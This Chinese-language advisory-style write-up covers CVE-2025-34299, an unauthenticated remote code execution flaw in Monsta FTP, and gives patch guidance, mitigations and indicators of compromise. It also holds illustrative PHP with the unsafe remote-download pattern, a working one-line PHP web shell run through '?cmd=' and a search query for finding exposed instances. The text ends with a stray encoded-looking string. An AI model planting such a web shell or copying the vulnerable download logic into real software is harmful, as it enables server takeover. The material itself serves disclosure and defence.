CVE-2025-34299:Monsta FTP 未授权远程代码执行漏洞深度剖析

22 阅读4分钟

CVE-2025-34299:Monsta FTP 未授权远程代码执行漏洞深度剖析

项目标题与描述

CVE-2025-34299 是一个存在于流行Web文件传输工具Monsta FTP中的严重未授权的远程代码执行漏洞。该漏洞于2025年8月被发现,并于2025年11月7日公开披露。攻击者可通过一个恶意的(S)FTP服务器上传Web Shell,从而导致服务器被完全接管。目前已有超过5000个暴露在互联网上的实例,且该漏洞正在被积极利用。官方已于2025年8月26日发布补丁版本v2.11.3。

功能特性

  • 漏洞类型:远程代码执行 (RCE)
  • 攻击复杂度
  • 认证要求无需认证
  • 攻击向量:网络,远程
  • 漏洞成因/mftp/application/api/api.php 文件中的不安全文件下载操作。
  • 利用流程
    1. 攻击者向API发送精心构造的POST请求。
    2. Monsta FTP连接至攻击者控制的(S)FTP服务器。
    3. 恶意PHP Web Shell被下载并写入目标服务器。
    4. 通过访问写入的Shell文件(如?cmd=whoami)实现远程代码执行。
  • 可用性:PoC(概念验证代码)已公开。

安装指南

注意:本项目/文档并非用于安装Monsta FTP软件。此处的“安装指南”旨在指导用户如何为受影响的Monsta FTP实例应用安全补丁和缓解措施

首要措施:立即修补

  1. 升级版本:所有版本号小于等于 2.11.2 的Monsta FTP实例均受影响。请立即升级至 v2.11.3 或更高版本。
  2. 下载地址:访问官方下载页面 monstaftp.com/download 获取最新安全版本。

临时缓解措施 如果无法立即升级,请考虑以下步骤:

  1. 禁用访问:在应用补丁前,考虑临时禁用Monsta FTP服务。
  2. 网络控制
    • 在网络层限制Monsta FTP服务器的出站(S)FTP连接,仅允许访问必要的、可信的IP地址。
    • 使用Web应用防火墙规则,拦截发送至 /mftp/application/api/api.php 的可疑POST请求。
  3. 应急响应:如果怀疑已被入侵,立即隔离服务器,扫描并清除可能存在的Webshell,并考虑重新部署系统镜像。

使用说明

漏洞检测 您可以使用公开的搜索引擎语法来发现暴露在互联网上的、可能易受攻击的Monsta FTP实例。

  • ZoomEye 查询语法
    app="Monsta FTP" vul.cve="CVE-2025-34299"
    
  • 其他平台如Shodan或Nuclei模板也可用于大规模扫描和识别。

影响评估指标 (IoCs) 在日志或网络流量中监控以下迹象,以检测潜在的利用尝试:

  • HTTP请求:对 /mftp/application/api/api.php 的异常POST请求。
  • 网络连接:从Monsta FTP服务器发起的、指向未知或可疑IP地址的出站(S)FTP连接。
  • 文件系统:在Web目录下出现新的、包含system()eval()等危险函数的.php文件。

核心代码

漏洞的核心问题位于Monsta FTP的API处理文件中,涉及到从用户控制的(S)FTP服务器下载文件并直接写入Web目录,且未对文件内容或路径进行充分验证。

// 示例:展示不安全的文件下载逻辑(非原版完整代码,为说明性代码)
// 文件路径:/mftp/application/api/api.php

if (isset($_POST['action']) && $_POST['action'] == 'downloadFromRemote') {
    $remoteServer = $_POST['ftp_host']; // 用户可控的FTP主机地址
    $remoteFile   = $_POST['remote_file']; // 用户可控的远程文件路径
    $localPath    = $_POST['local_path']; // 用户可控的本地保存路径(通常为Web目录)

    // 连接到攻击者指定的FTP服务器
    $conn = ftp_connect($remoteServer);
    ftp_login($conn, $_POST['username'], $_POST['password']);

    // 关键漏洞点:未验证$remoteFile的内容和$localPath的合法性,
    // 直接从攻击者的服务器下载文件并保存到Web可访问目录。
    if (ftp_get($conn, $localPath, $remoteFile, FTP_BINARY)) {
        echo "文件下载成功: " . $localPath;
        // 现在,$localPath 可能包含了一个Webshell (例如 shell.php)
    }
    ftp_close($conn);
}

代码注释

  1. $remoteServer$remoteFile$localPath等关键参数直接从用户POST请求中获取,攻击者可以完全控制。
  2. ftp_get函数执行下载操作,将$remoteFile(攻击者服务器上的恶意文件,如PHP Webshell)下载到$localPath(目标服务器的Web目录)。
  3. 整个过程没有对文件扩展名、MIME类型或文件内容进行安全检查,导致任意文件上传,最终实现远程代码执行。
// 攻击者可能上传的Webshell示例内容(简化)
// 文件保存为:http://target.com/mftp/uploads/shell.php

<?php
// 检查是否通过`cmd`参数传递了命令
if(isset($_GET['cmd'])) {
    // 直接执行系统命令,这是极度危险的操作
    system($_GET['cmd']);
    // 例如访问:http://target.com/mftp/uploads/shell.php?cmd=whoami
}
?>

代码注释

  1. 这是一个极其简单的PHP Webshell,它接收一个名为cmd的GET参数。
  2. system($_GET[‘cmd’])函数会直接执行传入的命令字符串,并将输出返回给客户端。
  3. 攻击者利用CVE-2025-34299上传此文件后,便可通过HTTP请求在服务器上执行任意命令,从而完全控制服务器。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPx4VWCX5U48me3LnUBmtB8